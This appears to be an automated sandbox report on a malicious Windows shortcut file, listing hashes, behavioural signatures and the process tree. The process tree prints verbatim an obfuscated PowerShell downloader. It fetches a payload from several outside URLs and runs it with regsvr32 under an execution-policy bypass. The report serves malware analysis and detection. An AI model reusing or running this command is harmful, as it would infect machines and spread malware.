Analysis
-
max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
13-11-2024 10:49
Static task
static1
Behavioral task
behavioral1
Sample
a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
Resource
win10v2004-20241007-en
General
-
Target
a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
-
Size
2KB
-
MD5
7a6b4a25288a5a52f98e21964de0b356
-
SHA1
06eadddeeffa93e2d4cb70cfcc15a8c5d0d8c0a5
-
SHA256
a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1
-
SHA512
cb104d3bd3fe201236c6c3fcef934e6812a845b4121867af11f6f2494844e518fba84e923e9d061caf382416376f8986ed2c470286a29f35ea1a22ce5e4b46bb
Malware Config
Signatures
-
Processes:
powershell.exepowershell.exepid Process 2796 powershell.exe 2452 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid Process 2796 powershell.exe 2452 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 2796 powershell.exe Token: SeDebugPrivilege 2452 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exedescription pid Process procid_target PID 1072 wrote to memory of 2796 1072 cmd.exe 31 PID 1072 wrote to memory of 2796 1072 cmd.exe 31 PID 1072 wrote to memory of 2796 1072 cmd.exe 31 PID 2796 wrote to memory of 2452 2796 powershell.exe 32 PID 2796 wrote to memory of 2452 2796 powershell.exe 32 PID 2796 wrote to memory of 2452 2796 powershell.exe 32
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Aviso 27042022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2796 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
926B
MD58ef6909ba4b9e6cd6676297601c39e5c
SHA19dcd9af682adacb278c1970d49babafd29df3928
SHA2569a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c
SHA512b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5